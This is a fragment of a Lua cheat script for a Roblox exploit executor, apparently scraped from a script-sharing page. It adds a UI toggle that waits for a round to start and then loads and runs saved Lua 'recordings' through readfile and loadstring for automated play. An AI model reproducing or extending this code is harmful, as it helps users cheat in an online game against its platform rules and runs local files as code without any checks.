_rec_loadDropdown = AutoplayTab:CreateDropdown({
Name = "Load Recording",
Options = _rec_getFiles(),
CurrentOption = _rec_getFiles()[1],
Callback = function(Option)
local selected = (type(Option) == "table")
and (Option.Option or Option[1])
or Option
_rec_selectedLoad = tostring(selected or "")
end,
})
-- Play Selected on Round Start toggle
local _rec_autoRoundPlay = false
AutoplayTab:CreateToggle({
Name = "Play Selected on Round Start",
CurrentValue = false,
Callback = function(Value)
_rec_autoRoundPlay = Value
if not Value then return end
task.spawn(function()
while _rec_autoRoundPlay do
-- Wait until we're in a challenge
if TAS_IsInChallenge() then
local Hum = TAS_LocalPlayer.Character
and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
-- Detect round freeze (WalkSpeed == 0)
if Hum and Hum.WalkSpeed == 0 then
-- Wait for round to actually start (WalkSpeed goes back up)
while _rec_autoRoundPlay and TAS_IsInChallenge() do
Hum = TAS_LocalPlayer.Character
and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
if not _rec_autoRoundPlay or not TAS_IsInChallenge() then
task.wait(0.5)
else
-- Play the selected recording
if _rec_selectedLoad
and _rec_selectedLoad ~= ""
and _rec_selectedLoad ~= "(no recordings)"
and _rec_selectedLoad ~= "(nothing)" then
local filePath = "DramaWare/Recordings/" .. _rec_selectedLoad .. ".lua"
local ok, src = pcall(readfile, filePath)
if ok and src and src ~= "" then
local fn, err = loadstring(src)
if fn then
if _rec_statusElem then
_rec_statusElem:Set("▶ Auto: " .. _rec_selectedLoad)
end
task.spawn(fn)
else
if _rec_statusElem then
_rec_statusElem:Set(" Error: " .. tostring(err))
end
end
else
if _rec_statusElem then
_rec_statusElem:Set(" File not found!")
end
end
end
-- Wait until this challenge ends before listening for next round
while _rec_autoRoundPlay and TAS_IsInChallenge() do
task.wait(0.5)
end
end
end
end
task.wait(0.5)
end
end)
end,
})
AutoplayTab:CreateDivider()
Rayfield:Notify({
Title = "azu wave, better than dramaware.",
Content = "azu wave is now up!\nDiscord copied to clipboard.",
Duration = 6,
})
![Custom Character Selector [TRD]](https://cdn.kocakz.me/images/78fe18a1b86b83ae0a9c6eb98963df7d5e53ea616520e04dc355d4d3060c926d.webp)


* script don’t use